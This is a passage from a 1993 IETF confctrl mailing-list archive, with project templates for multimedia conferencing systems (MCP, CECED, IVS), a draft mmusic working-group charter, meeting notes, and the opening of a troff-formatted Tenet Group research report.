    among constituent flows.

    Synchronization information and tokens are sent over an out-of-band
    control connection.
    
8. Hardware/software platforms.

   SunOS 4.1.1 kernel implementation and libraries. 

9.a What specifically has or has not been implemented?

    The protocol resides under the socket layer and on top of COIP-k
    (Chuck Cranor, Washington University).

    The token calls and conversations are implemented through setsockopt
    calls.

    Events and exceptions are notified  by using signals and exception
    condition flags.

    A number of Multi-user collaborative applications have been ported
    or written.

    Nevot(Henning Schulzrinne) has been ported on MCP and changes made to
    provide various floor-control styles  to demonstrate usefulness of
    MCP primitives.

9b What was unexpectedly easy or difficult to implement?


    Token passing posed several interesting issues because the semantics
    need to cater to a wide variety of floor control styles such as
    no-control, activity sensing, chalk-board, and other user driven policies.
    The nature of queuing requirements for different policies  differ.
    Providing the right amount of flexibility and maintaining protocol
    simplicity was not simple.

    Creating conversations are easy if all endpoints are participants
    in all flows that constitute a conversation handling imbalances are not
    easy. Currently, MCP assumes the presence of a higher level conference
    control protocol to decide which endpoint initiates a conversation
    request.

    Providing a causal relationship based on the notion of delta-causality
    was hard. 


9.c What might you change as a result?

     The applications have  brought out some of the subtle details involved
     in providing floor control. We are still in the process of evaluating
     our choices.

     We need to consider events such as hosts dying with tokens and provide
     a protocol for regeneration.

     MCP should allow any endpoint to create conversations.

10. If available, a couple of suggested readings about your work
    on confctrl.


Raj Yavatkar,MCP A  Protocol for Coordination and Temporal Synchronization
in Multi-media Collaborative Applications",Proceedings of the 12th
International Conference on Distributed Computing Systems" IEEE,1992,June

Raj Yavatkar "Issues of Coordination and Temporal Synchronization in
Multimedia Communication", Proceedings of Multimedia '92, 4th IEEE COMSOC
International Workshop on Multimedia Communications" 1992 April"


There is also a paper to appear in USENIX'93 that deals with design
and implementation of MCP in the kernel.

			----------------


----- End Included Message -----


From rlang@NISC.SRI.COM  Wed Mar 24 10:15:27 1993
Received: from ws28.nisc.sri.com by venera.isi.edu (5.65c/5.65+local-8)
	id <AA14288>; Wed, 24 Mar 1993 18:16:33 -0800
Received: by ws28.nisc.sri.com (4.1/SRI-NISC1.2)
	id AA27565; Wed, 24 Mar 93 18:15:28 PST
Message-Id: <9303250215.AA27565@ws28.nisc.sri.com>
To: confctrl
Cc: rem-conf@es.net
Subject: Confctrl - Template for SRI's CECED
Date: Wed, 24 Mar 93 18:15:27 PST
From: Ruth Lang <rlang@NISC.SRI.COM>



		    Conference Control BOF Template
		    -------------------------------

1. Name of project, program and/or protocol.

Collaborative Environment for Concurrent Engineering Design (CECED)


2. Contact person, affiliation and e-mail address.

Earl Craighill or Ruth Lang
SRI International
craighill@sri.com or rlang@nisc.sri.com


3. Target operating environment and key design considerations:

   - WAN vs LAN 
   - digital vs analog media
   - the kinds of collaborative media used in your system 
     (e.g., real-time audio, video, animations, landsat images) 
   - packet technology vs ISDN
   - room-to-room vs desktop conferencing
   - ???

CECED provides shared workspace (programs and database) collaboration
over unmodified single-user X applications, and audio conversations.
It supports concurrent use of a mix of shared and private
applications.  It presently allows only one conference at a time, but
in the future will support multiple simultaneous conferences.  Audio
is presently implemented through the use of vat.  We have no near-term
plans for inclusion of digital video, although it could be added as
easily as vat has been.

A Session Manager component coordinates all conference related actions
by providing access to the user interfaces for collaboration-enabling
processes such as vat and the shared-workspace program.

A Connection Collaboration Management Agent provides support for
connection-oriented conference control capabilities.  Future
capabilities will include support for resource-oriented control and
negotiation.

CECED has been designed to operate in both WAN (high speed digital and
low-speed analog) and LAN IP networks.  The current implementation
(alpha version) has been well-tested only in LAN environments
including less than 10 participants. Some WAN testing has been done.
We intend to begin implementation of a more robust WAN version
including testing and user studies this year.

CECED has been demonstrated cross-platform between/among Sun
SPARCstations and Macs.  Room-to-room testing has been done among
Suns.  A heterogeneous Sun/Mac configuration has been used as part of
within-room demonstrations. We will do more room-to-room Mac/Sun
testing when an audio capability between Suns and Macs has been
developed; this development will occur during 1993.


4.a Type of conference styles supported by your system/protocol.

CECED was designed to support a general class of applications,
including distance learning and VLSI concurrent engineering design and
redesign activities.  It is intended to support small working groups
(up to 10s of individuals, but typically less than 10) whose
activities are problem-solving or learning oriented.  Typical
interaction styles may include novice/expert, peer-to-peer (e.g.,
designers or students), and designer/customer.

CECED will be deployed in the near future for the purpose of
conducting user studies in VLSI design seminar class at a University.
In the future (within the next two years) it will be deployed in more
commercial-oriented VLSI design environments which will include use
over a WAN.


4.b Profile of user community: 

   - expertise level 
   - formality of meetings
   - demand for quality of service
   - mechanisms for scheduling/reservation of system

The users are assumed to be computer-literate with expertise in their
own domains (e.g., VLSI design).  They are not expected to be computer
scientists/researchers or computer/network administrators.

CECED is intended to support informal interactions such as the
problem-solving activities that occur among novices and experts,
learners and mentors, peer designers, or the interaction which occurs
between designer and customer during the design process itself.

Currently, CECED requires a low-delay network environment to ensure
good audio quality and relative synchronization of the shared
workspaces.  Future developments are intended to relax this
requirement, but we will not expect to be able to operate in a general
Internet "datagram" service environment.  Reliability as well as
low-delay is key in ensuring the integrity of the shared workspaces.
High bandwidth is not a requirement.

Our wish list include having QOS mechanisms which support acquisition
of transport services and the ability to obtain feedback on
transport-level performance.


5. Architecture assumptions: 

   - distributed vs centralized model vs hierarchical
   - system component(s) responsible for conference control
   - degree of homogeneity in end-system capabilities 
   - multicast integration
   - directory services
   - support for quality of service
   - open vs closed membership (e.g., only preregistered users)
   - ???

CECED employs a distributed, peer-to-peer model.  The shared workspace
process utilizes a closed membership model.

Multicasting is used by vat; TCP is used as the transport mechanism to
support shared workspace interaction since reliability is a
requirement.  If a reliable transaction protocol was widely-available
and used, it would be used to replace TCP as the transport mechanism
in CECED.

A process named the Connection Collaboration Management Agent (CCMA)
is responsible for providing conference control services for CECED.
It was designed to employ a distributed, peer-to-peer model as well,
but the current implementation (considered pre-alpha) is centralized
and thus does not yet employ a peer-to-peer connection control
protocol such as Schooler's CCP.  A near-future version will employ
such a protocol; it is intended that the CCMA will adopt the
connection control protocol that results from the activities of this
working group or use Schooler's CCP as a prototype.

The CCMA does implement a general protocol to be used between it and
its "agents" for the conveyance of conference configuration (and later
to include resource) information.  This protocol has been named the
Collaboration Agent Control Protocol.

We are using X and its property mechanism as a means of providing a
distributed registry of conference information.  "Agents" are
responsible for registering their collaboration-oriented properties.
The CCMA accesses the distributed set of registries to provide a
composite connection picture to its agents.  X.500 will be considered
as a replacement for the X-based registry in future versions of CECED.


6.a How do you define conference control?  

The definition and management of the components which comprise a
conference, and the provision of aggregate views of the conference.
Conference components include both the participants of a conference
and the means by which they participate (the programs they employ to
collaborate).

Conference control should facilitate information flow about the anatomy
and state of a conference, but not be directly (rather indirectly)
involved in the management of individual components.  Both abstract
and detailed specification and definition of components should be
supported.


6.b Conference control functionality supported.

Conference control in CECED presently includes participant membership
for single conferences at a time.  No latecomer admission or resource
management or negotiation is yet supported.


6.c Other control functions you would like to support.

That which was mentioned as unimplemented in 6b.


7. Conference control protocol details: 

  - explicit vs implicit setup
  - interconnectivity of participants
  - state sharing
  - robustness
  - scaling properties
  - ???

No conference control protocol between Connection Collaboration
Management Agent (CCMA) processes is yet implemented.

The protocol used between the CCMA and its agents (e.g., the shared
workspace support process) -- Collaboration Agent Control Protocol --
uses explicit means to establish and convey information about the
conference view for that agent.  Successive exchange of protocol
messages and updates establish a common view of the state of the agent
and its peers both within the CCMA and the agent itself.  This
protocol is intended to be used among processes on one workstation
thus reliability is assumed.


8. Hardware/software platforms.  

CECED has been implemented on Sun SPARCstations running UNIX and X,
but the shared workspace component has also been demonstrated on Macs
running MacX.


9.a What specifically has or has not been implemented?

Two CECED components are yet to be implemented: 1) a process trace
manager providing inobtrusive process history capture which will
augment use of a cut-and-paste capability that facilitates minimally
intrusive capture of VLSI design history, and 2) a information storage
collaboration management agent which will arbitrate between a database
and a groups of conferees to enable access for the group with the same
privileges, protection, and integrity as access for an individual

9.b What was unexpectedly easy or difficult to implement?

No component has been surprisingly easy or difficult to implement.
User testing will help reveal problems and thus point out difficulties

9.c What might you change as a result?

No significant changes have been identified to date.  User studies to
be conducted in the near future will help reveal directions in which
users feel our system must go in order to be truly useful.


10. If available, suggested readings about your work on confctrl.

General readings about CECED are available:

Earl Craighill, Ruth Lang, and Jose Joaquin Garcia-Luna, "Environments
to Enable Informal Collaborative Design Processes," Proceedings of the
CE & CALS Conference, Washington, D.C., June, 1992.

Earl Craighill, Ruth Lang, Keith Skinner, and Martin Fong, "CECED: A
System for Informal Multimedia Collaboration," to be published in
the MULTIMEDIA '93.



From schooler  Wed Mar 24 11:09:15 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA17708>; Wed, 24 Mar 1993 19:09:22 -0800
Date: Wed, 24 Mar 1993 19:09:15 -0800
From: schooler
Posted-Date: Wed, 24 Mar 1993 19:09:15 -0800
Message-Id: <199303250309.AA02868@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA02868>; Wed, 24 Mar 1993 19:09:15 -0800
To: confctrl
Subject: cross-postings to rem-conf
Cc: schooler

I would like to assume that confctrl membership is a subset of rem-conf, 
so that we can do away with cross-postings to both groups.  In instances
where a message should get broader dissemination, simply post to rem-conf.
I'll add something to this effect to the charter, or in the reply
message that comes back from confctrl-request@isi.edu.

In particular, please send any additional template messages to rem-conf 
(the rest of you ARE going to fill it out aren't you!?!?! :-).

For those of you not already on rem-conf, please send a message to 
rem-conf-request@es.net to join.

Thanks,
E.

From turletti@jerry.inria.fr  Mon Apr  1 19:23:25 1993
Received: from jerry.inria.fr by venera.isi.edu (5.65c/5.65+local-8)
	id <AA08632>; Mon, 29 Mar 1993 07:20:07 -0800
Received: by jerry.inria.fr
	(5.65c/IDA-1.2.8) id AA09086; Mon, 29 Mar 1993 17:23:26 +0200
Message-Id: <199303291523.AA09086@jerry.inria.fr>
To: confctrl
Subject: Re: confctrl BOF template
Date: Mon, 29 Mar 93 17:23:25 +0200
From: Thierry TURLETTI <Thierry.Turletti@sophia.inria.fr>



    
    		    Conference Control BOF Template
    		    -------------------------------
    


    1. Program name: "IVS" (Inria Videoconferencing System)


    2. Contact person, affiliation and e-mail address.

	Thierry Turletti  
	INRIA Sophia Antipolis
	RODEO Project
        turletti@sophia.inria.fr


    3. Target operating environment and key design considerations:

	* Both LAN and WAN
	* digital audio and video media
	* packet technology
	  IP multicast extensions used on top of UDP
	* H.261 software video codec.

 
   4.a Type of conference styles supported by your system/protocol.

	* Point to point. A daemon is running at each side to
	   simulate a phone call.

	* small size conference (less than 10 participants)
	   --> feedback from decoders allowed. (NACK, Full Intra Request)

	* large size conference 
	   --> no feedback from decoders


    4.b Profile of user community: 

	No expertise level required.
	Freely available in the public domain. 
    

    5. Architecture assumptions: 

	* Distributed model. A single session manager resides at each 
	  participant side. It is responsible for a particular user of 
	  audio/video encoding/decoding options.

	* The session manager must choose the correct options
          according to the type of conference and the network conditions.
	  For example, it has to decide if feedback from decoders
	  is allowed, if knowledge of the whole participants is possible.
	  The bandwidth used is tunable during ongoing sessions. 


    6.a How do you define conference control?

        Managing sessions, users in a session and media used. (Some
        media have more priority than others)
    

    6.b Conference control functionality supported.

	The following packets are currently used:

	- Description (name, audio/video encoding, feedback allowed/avoided)
	- Bye : The participant is leaving
	- Hello : A new participant requires a rapid description of
	          the other parts. Ignored if feedback is avoided.

	Feedback from decoders: avoided or allowed according to
	the number of participants in the conference. This option
	can be changed during ongoing sessions.
    

    6.c Other control functions you would like to support.

	- merging conferences.
	- QOS control to find the maximal bandwidth allowed.
	- interaction between media to privilege for example audio
	  quality rather than video.
    

    7. Conference control protocol details: 

	Implicit setup.
	  For a small conference, an "HELLO" packet can be sent to 
	  force each participant to describe itself quickly.

	Each participant send periodically to the group its state
	and keep up to date each member's current state list. A member
	is considered as having left the conference if he stops sending 
	its state.

	Robustness: When feedback information is allowed, video decoders 
	could send to their video sources NACK information and Full
	image encoding request (a kind of all refresh). In this mode,
	the first image received will be full encoded, and effects of
	packet loss reduced. 
          Else, when no feedback, the video coding will force
	encoding of all blocks more often and will limit the
	number of successive "inter" encoding blocks. ("inter"
	means that only the difference between two successive images
	is encoded. Use of the "inter" mode increases the compression rate
	but also increases sensibility to packet lost).
    

    8. Hardware/software platforms.

	X11 - Athena toolkit. IP multicast extensions required.

	Current experiments are done on Sparc, HP, SGI and DEC stations.

	Video framegrabbers used are: VideoPix, Parallax, Indigo board,
				      Raster Rops and VIDEOTX.
	

    9.a What specifically has or has not been implemented?

	All conference control functions mentioned are implemented. The
        "Avoid feedback" mode hasn't been well tested yet over WAN
 	with a lot of participants.

	The bandwidth tuning should be automatically adapted to
	the network conditions.

    
    10. If available, suggested readings about your work on confctrl.

	The following report describing the previous IVS version is
	available by anonymous ftp from avahi.inria.fr in directory
	/pub/videoconference:

	"H.261 software codec for videoconferencing over the Internet'',
	INRIA Research Report no 1834, Sophia Antipolis, January 1993.


From cooper  Tue Apr  2 03:14:34 1993
Received: from zephyr.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA02908>; Tue, 30 Mar 1993 11:14:36 -0800
Received: from zephyr.isi.edu by zephyr.isi.edu (5.65c/5.61+local-10)
	id <AA28353>; Tue, 30 Mar 1993 11:14:34 -0800
Message-Id: <199303301914.AA28353@zephyr.isi.edu>
To: ietf-hosts
Cc: cooper
Subject: Test 1 
Reply-To: cooper
Date: Tue, 30 Mar 93 11:14:34 PST
From: Ann Westine Cooper <cooper>


Hi,

This is a test.

Ann

From gong@concert.net  Wed Apr  7 13:08:27 1993
Received: from jazz.concert.net by venera.isi.edu (5.65c/5.61+local-12)
	id <AA11062>; Wed, 7 Apr 1993 14:08:33 -0700
Received: by jazz.concert.net (5.59/tas-concert/8-12-92)
	id AA22808; Wed, 7 Apr 93 17:08:28 -0400
From: Fengmin Gong <gong@concert.net>
Message-Id: <9304072108.AA22808@jazz.concert.net>
Subject: Suggestions...
To: confctrl
Date: Wed, 7 Apr 1993 17:08:27 -0400 (EDT)
Cc: gong@concert.net (Fengmin Gong)
X-Mailer: ELM [version 2.4 PL20]
Content-Type: text
Content-Length: 1843      

Eve, Abel, and all,

Thank you all for the nice discussions at Columbus.  I would like to
suggest that we start to produce the following specific docs
as a first-step to session protocol design and hope that it makes
sense to the group:

1. A reference model that include our view of the world, ie,

	Application
	Session control
	Media agent

It should include descriptions of each of the logical layers and
general definitions for conference control, session control
and session control protocol.  We need to make it clear that our
focus for the short-term is on session control and specify how 
it fits in the big picture (including RTP, Directory services, etc).

2. Specifications of session layer services (functions), its interfaces
to other layers/modules, and components of the session state.
It is here that we need to define the types of session styles we will
support (may also describe the ones we will support in the future).
I think there are three main criteria (or motivations) in differentiating
among styles:

* different styles abstract different kind of scenarios of conferencing
  in real life
* different styles entail different network connectivity requirements
* different styles entail different synchronization/coordination
  requirements, thus mechanisms

Defining the styles along these lines will help us indentify components
needed in the session state and the fields in the packet format of
session protocol later.

I remember that there were a lot of people expressed willingness to
do real work, do we have a plan to put these good "brains" and "hands"
to work?  If you guys (and gals included of course :-)) plan to put out a
first draft "strawman" or need addtional help, I am here.

Eve, would you please include the updated charter and schedule when you
send out the minutes for the BOF?

Thanks,
Fengmin

From schooler  Wed Apr  7 08:39:24 1993
Received: from zephyr.isi.edu by venera.isi.edu (5.65c/5.61+local-12)
	id <AA13888>; Wed, 7 Apr 1993 15:39:27 -0700
Received: by zephyr.isi.edu (5.65c/5.61+local-10)
	id <AA26034>; Wed, 7 Apr 1993 15:39:24 -0700
Date: Wed, 7 Apr 1993 15:39:24 -0700
From: schooler (Eve Schooler)
Message-Id: <199304072239.AA26034@zephyr.isi.edu>
To: gong@concert.net
Subject: Re:  Suggestions...
Cc: abel@thumper.bellcore.com, confctrl, schooler

>Thank you all for the nice discussions at Columbus.  

Ditto.  For those of you who were there and contributed to the 
lively discussion and debate, we appreciated it.  For those of
you remote listeners and contributors of template ideas, thanks
also.  I am also pleased to report that Abel Weinrib of Bellcore has 
agreed to co-chair the confctrl group.

We are readying a version of the minutes for the IETF proceedings, 
a summary of the minutes (for the area leaders), and a revised 
charter for official submission.  It is critical that the charter
be submitted shortly, if the BOF is to be considered for WG status,
and is to have the opportunity to meet in Amsterdam in July.
There are MUCH stricter guidlines for how many times a BOF can meet
these days; either a BOF matures to WG status between one IETF and the
next or it is defunct!

>I would like to
>suggest that we start to produce the following specific docs
>as a first-step to session protocol design and hope that it makes
>sense to the group:
>
>1. A reference model that include our view of the world, ie,
>
>	Application
>	Session control
>	Media agent
>
>It should include descriptions of each of the logical layers and
>general definitions for conference control, session control
>and session control protocol.  We need to make it clear that our
>focus for the short-term is on session control and specify how 
>it fits in the big picture (including RTP, Directory services, etc).

It was proposed and agreed to in the BOFs that we take the minutes and 
turn them into an "issues" document, and include discussion of a
framework (dare I say architecture?!) within which we tackle the
confctrl protocol problem.  

We also stated in the BOF and will restate very clearly in the
charter that our focus in the short-term is on the session protocol.

We can debate to what level of detail we describe the logical layers
that exist at end systems, since again we want to focus in the short-term 
on the between-end-system protocol.  

It was clear during the BOFs that agreed-on definitions are needed for
terms such as conference, connection, session, media agents, etc, to
avoid confusing one another; inevitably the variety of systems
described during the BOFs and in the templates used these terms
differently.

>2. Specifications of session layer services (functions), its interfaces
>to other layers/modules, and components of the session state.
>It is here that we need to define the types of session styles we will
>support (may also describe the ones we will support in the future).
>I think there are three main criteria (or motivations) in differentiating
>among styles:
>
>* different styles abstract different kind of scenarios of conferencing
>  in real life
>* different styles entail different network connectivity requirements
>* different styles entail different synchronization/coordination
>  requirements, thus mechanisms
>
>Defining the styles along these lines will help us indentify components
>needed in the session state and the fields in the packet format of
>session protocol later.
>

We tried during the BOF to avoid discussing the specifics of the 
session state or packet formats.  Instead we were looking to identify
the kinds of functions that are supported by a conference session.
The functional taxonomy begun during the BOF will need refinement.

We cannot tackle all conferencing scenarios, nor can we propose a
single protocol to handle all scenarios.  However, we agreed that it
would be a good exercise to map conversation styles into underlying
networking requirements are (in terms of a confctrl session protocol).
We have the beginnings of a list of conversation styles from the last
IETF minutes.  We also discussed that from a pragmatic standpoint, we
are likely to select one loose style (a la nv, vat, dvc, ivs, etc) and
one tight style (for negotiated and potentially private sessions) and
support them for starters; the question is how loose?  how tight?

>I remember that there were a lot of people expressed willingness to
>do real work, do we have a plan to put these good "brains" and "hands"
>to work?  If you guys (and gals included of course :-)) plan to put out a
>first draft "strawman" or need addtional help, I am here.
>Eve, would you please include the updated charter and schedule when you
>send out the minutes for the BOF?

There is still work to be done before we get to a strawman.   
Here are a list of prioritized tasks:

    ASAP: For IETF Proceedings
	- Slides from BOF ==> send to me
	- Minutes from BOF 
	- Summary of Minutes

    ALSO ASAP: but not required for IETF Proceedings
	- Revised Charter
	- Submit charter to Area Director(s) for official review

    Continuation of BOF discussions:
	- Terminology agreement
	- Issues/Framework document (from minutes)
	- Conversation styles document ==> hone in on which loose 
	  and tight control schemes
	- Functional Taxonomy discussion


Of first priority beyond publishing our meeting in the
IETF proceedings is to submit the charter for official review.  
If you have any concrete comments on the charter now is the time 
to share them.  

I propose we hold a telemeeting via the MBONE to organize 
commitments on the other tasks.  Let me look into availability 
and get back to the list on this...
In the meantime, collect your ideas on the aforementioned tasks
and write them down, or at the very least organize them so that 
you can present them during the upcoming telemeeting.


>Thanks,
>Fengmin

Eve

From abel@thumper.bellcore.com  Thu Apr 22 13:49:59 1993
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-12)
	id <AA06739>; Thu, 22 Apr 1993 14:50:06 -0700
Received: from able.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA14892> for confctrl@isi.edu; Thu, 22 Apr 93 17:50:00 EDT
Received: by able.bellcore.com (5.57/4.7)
	id AA15170; Thu, 22 Apr 93 17:50:00 -0400
Received: from Messages.8.4.N.CUILIB.3.45.SNAP.NOT.LINKED.able.pmax.ul4
          via MS.5.6.able.pmax_ul4;
          Thu, 22 Apr 1993 17:49:59 -0400 (EDT)
Message-Id: <gfplA7O0M2ULIFywED@thumper.bellcore.com>
Date: Thu, 22 Apr 1993 17:49:59 -0400 (EDT)
From: Abel Weinrib <abel@thumper.bellcore.com>
Content-Type: text/plain; charset=US-ASCII
To: confctrl
Subject: Draft charter for working group
References: <9304200032.AA12827@able.bellcore.com>

Here is a copy of the draft charter for the working group Eve Schooler
and I are working towards starting related to conferencing over the
Internet.  We have made some modifications to the previous draft based
on discussion in the two Confctrl BOFs at the last IETF.  There appears
to be agreement that we should  focus first on "Multiparty Multimedia
Session Control" as an important component of an ultimate complete
architecture to support conferencing and related applications.

We would very much value any comments you have on this draft of the charter! 

Thanks a lot.

		--Abel Weinrib and Eve Schooler

===================

Working Group:
     Multiparty Multimedia Session Control (mmusic)

Chairs:
     Eve Schooler		<schooler@isi.edu>
     Abel Weinrib		<abel@bellcore.com>

Applications Area Director(s) 
     Erik Huizer		<huizer@surfnet.nl>
     Brewster Kahle		<brewster@wais.com>
 
Mailing lists: 
     General Discussion:	confctrl@isi.edu
     To Subscribe:      	confctrl-request@isi.edu
     Archive:           	venera.isi.edu:confctrl/confctrl.mail

     Parent List:		rem-conf@es.net
     To Subscribe:		rem-conf-request@es.net

Description of Working Group:

The demand for Internet packet multimedia conferencing has arrived,
yet an infrastructure to support this demand is barely in place. 
Multimedia session control is one component of the infrastructure,
defined as the management and coordination of multiple sessions and
their multiple users in multiple media.  The Multiparty Multimedia
Session Control Working Group is chartered to design a "multimedia
session protocol" to perform these functions.  Such a protocol will
provide useful abstractions for the developers of multimedia
communications applications, and will enable interoperability
between different implementations of such applications.  

The Working Group will work to specify, implement and deploy the
session protocol within teleconferencing software used over the
Internet.  As a prerequisite to defining the session protocol, we
must determine requirements for the protocol.  Towards this end,
the Working Group will catalogue existing approaches to controlling
multimedia conferences, identify the requirements for providing
these services across the general Internet, and then define a
small, but relatively inclusive set of conference styles that are
most useful to support.  For instance, we anticipate the need to
support both loosely- and tightly-controlled sessions. 
Flexibility, scalability and security will be important design
goals. 

In addition, this Working Group will track the progress of other
efforts as they relate to multimedia conferencing, such as
directory services for cataloguing users and conferences, the RTP
and RTCP protocols developed by the Audio/Video Transport working
group, resource reservation and management at the network level,
and schemes for multicast address allocation.  Follow on work to
defining the session control protocol may include the integration
of these separate components into an overall conferencing
architecture. 


Goals and Milestones: 
 
   Mar 93 First BOF/Working Group meeting. Review and approve the Charter,
	  making any necessary changes.  Discuss existing prototypes,
	  the issues they raise, and the unifying themes.  Identify scope 
	  and functional requirements for this service.  Define
	  components of problem and outline a framework for the solution.  
	  
   Apr 93 Prepare a bibliography of current readings in this area.

   Apr 93 Hold an organizational telemeeting.  Assign writing tasks to
	  document terminology, issues and framework, mappings between 
	  conversation styles and underlying session protocols, and the
	  functional taxonomy.  

   May 93 Begin documenting a strawman protocol.

   Jul 93 First draft of specification to be completed.  Provide
	  information on motivation for this work, relevance to other
	  IETF efforts, Internet teleconferencing infrastructure assumptions, 
	  and protocol details.

   Sep 93 Review first draft document and determine necessary
   	  revisions.  Follow up discussion to occur on mailing list
	  and via teleconferences.

   Nov 93 Finalize revisions for a second draft.

   Dec 93 Make document an Internet Draft.  Continue revisions based
	  on comments received.  As proof of concept and to measure 
	  thoroughness, consistency and simplicity, begin implementation.

   Mar 94 Review final draft and submit to IESG for publication as an
	  RFC.  

From schooler  Wed May  5 03:52:02 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-12)
	id <AA13975>; Wed, 5 May 1993 10:52:08 -0700
Date: Wed, 5 May 1993 10:52:02 -0700
From: schooler
Posted-Date: Wed, 5 May 1993 10:52:02 -0700
Message-Id: <199305051752.AA07378@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA07378>; Wed, 5 May 1993 10:52:02 -0700
To: confctrl
Subject: Confctrl Mtg 5/5/93
Cc: schooler

To all who participated in today's meeting over the MBONE, thank
you very much.  Although communication was fine over many segments
of the MBONE, apparently the connection with points in the UK and
in Sweden were choppy at best and unfortunately not very useful.
I'll put together some minutes of the meeting for those of you who
were unable to participate.

In the meantime, I want to poll the group about a few items.
First, if confctrl becomes a working group, would you attend
a meeting of the WG at the upcoming IETF in Amsterdam?  We want
to determine if there is enough interest to push for a session there.

Second, in the minutes from the March IETF, we listed an action
item to document reference materials.  They were:

  - terminology reference guide
  - refinement of functional taxonomy
  - turn minutes into issues/framework document
  - mapping of conversation styles into session protocols

These documents are in various stages (non-existent to half-baked).
Several individuals have now signed up to contribute, but if you are 
interested in any of these, now is the time to speak up.  Please
send Abel and/or me a message and we'll coordinate.  

The idea behind committing to one of these projects would be to 
initially send discussion-provoking comments to the mailing list, 
and eventually to document fleshed-out conclusions.

Eve

From schooler  Wed May  5 08:16:24 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-12)
	id <AA22636>; Wed, 5 May 1993 15:16:32 -0700
Date: Wed, 5 May 1993 15:16:24 -0700
From: schooler
Posted-Date: Wed, 5 May 1993 15:16:24 -0700
Message-Id: <199305052216.AA07640@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA07640>; Wed, 5 May 1993 15:16:24 -0700
To: confctrl
Subject: Recent and current research by the Tenet Group at UCBerkeley and ICSI
Cc: schooler

During the meeting today, Lakshman K. referred to the paper, "A
Characterization of Multi-Party Interactive Multimedia Applications", by
Szyperski and Ventre from the Tenet group at Berkeley.  Someone asked
about its availability on-line; along with other Tenet documents, it
lives on tenet.berkeley.edu and is available via anonymous FTP as 
pub/tenet/Papers/SzyVen93a.{abstract, ps}, or through a mail-based 
file-server (see below for details).

E.

----- Begin Included Message -----

From ferrari@ICSI.Berkeley.EDU Tue May  4 18:28:48 1993
Date: Tue, 4 May 93 17:48:26 PDT
From: ferrari@ICSI.Berkeley.EDU (Domenico Ferrari)
To: C.J.Adie@edinburgh.ac.uk, Christian.Duenkel@prakinf.tu-ilmenau.de,
        Simon.Crosby@cl.cam.ac.uk, albert@research.att.com,
        balsamo@di.unipi.it, cheriton@pescadero.stanford.edu, ddc@lcs.mit.edu,
        edmundo@barra.nce.ufrj.br, farber@cis.upenn.edu, fdida@masi.ibp.fr,
        gerla@cs.ucla.edu, hgs@research.att.com, ian@owl.gatech.edu,
        jain@erlang.enet.dec.com, joydeep@iti.gov.sg,
        kgshin@alps.eecs.umich.edu, krumvp@tymnet.com,
        krys@cosc.canterbury.ac.nz, lazowska@cs.washington.edu,
        liuys@vlsi1.ultra.nyu.edu, lk@cs.ucla.edu, malak@irit.fr,
        mattyc@nuscc.nus.sg, mmworld@tenet.ICSI.Berkeley.EDU,
        raj@cs.washington.edu, retrac@cs.utah.edu, rfm@california.sandia.gov,
        richf@nsa.hp.com, serazzi@IPMEL2.ELET.POLIMI.IT,
        srini@shasta.ee.washington.edu, szchen@epcot.rose.hp.com,
        tzelnic@pmaxpt.lkg.dec.com, zaki@erg.aberdeen.ac.uk
Subject: Recent and current research by the Tenet Group at UCBerkeley and ICSI
Content-Length: 33273
X-Lines: 982


\"
\" Last modified May 3, 1993
\"
\" Print using:  *roff -ms <filename>
\"
.ND
.ce
.ps 14
\fBThe Tenet Group\fR
.sp .5
.ce
.ps 11
University of California, Berkeley
.ce
and International Computer Science Institute
.sp
.ps 16
.ce
\fBRecent and Current Research\fR
.sp .5
.ce
.ps 11
April 1993
.sp 2
.NH 1
Introduction
.PP
The Tenet Group was formed in September of 1989 at the University of 
California at Berkeley and the International Computer Science Institute 
(ICSI, also in Berkeley) 
to perform research in high-speed computer networking. 
The focus of the group is on the design
and development of 
real-time communication services, 
and on network support for continuous-media applications. 
.PP
The Tenet Group is participating in
two major multi-institution research projects: BLANCA and Sequoia 2000.
The BLANCA project is part of the Gigabit Testbed Initiative,
which is sponsored by the Corporation for National Research Initiatives
and supported by the National Science Foundation and by the Defense Advanced
Research Projects Agency.
The BLANCA project officially started in May 1990 and currently includes
AT&T Bell Laboratories, the universities of California, Illinois, and
Wisconsin, Pacific Bell, and a few research institutes, among which is ICSI. 
The goal of BLANCA is to design and build two wide-area ATM-based testbeds called 
Xunet 2 (at 45 Mbps) and Xunet 3 (at 622 Mbps), and demonstrate on them several 
applications requiring high-speed networking.
Most of applications are of the scientific visualization type, 
and require the transmission of image sequences and/or video streams.
The sequences or streams are to be browsed, stopped, and played
forward or backward at speeds slower or faster than the nominal
one, by scientists at sites far from those where the sequences
or streams are generated or stored.
.PP
Sequoia 2000, the second major initiative in which the Tenet Group is
participating, aims at building high-speed storage and communication
facilities for global-change scientists at remote locations to visualize and
browse sequences of digitally represented satellite maps
and other large sets of data to be used in earth science research.
Project Sequoia 2000, the sequel to Project Athena,
was awarded in July 1991 by the Digital Equipment Corporation
to the University of California system; its network design and research
activities are taking place at U.C. Berkeley and U.C. San Diego.
The Sequoia 2000 network (S2Knet) connects at T1 speed the 
Berkeley campus to the Davis, Santa Barbara, 
Los Angeles, and San Diego campuses, as well as to the Scripps
Institution of Oceanography in San Diego and the State's Department of Water
Resources near Sacramento.
The network's bandwidth will be increased to 45 Mbps in July 1993.
.PP
The contributions of the Tenet Group
to both projects are concerned primarily with the
technological foundations, rather than with the end-user
applications, and can be classified into two partially
overlapping areas: (a) real-time communication services, and
(b) continuous-media networking applications.
.NH 1
Real-Time Communications Services
.NH 2
The prototype Tenet real-time protocol suite (Suite 1)
.LP
.B
Protocol implementation.\ \ 
.R
\fBHui Zhang\fR has been continuing his work on RMTP/RTIP. 
Progress has
been made in two areas:\ \  
(1) RMTP/RTIP is more stable, 
and 
(2) RCAP and RMTP/RTIP have been integrated, 
so that applications can use RCAP to establish connections 
and RMTP/RTIP to transfer data.
\fBHui Zhang\fR has also been continuing his research on service disciplines.
A new mechanism called stand-by queue 
has been proposed within the framework
of the Rate-Controlled Static Priority Queueing Discipline 
to provide better performance for non-real-time traffic.  
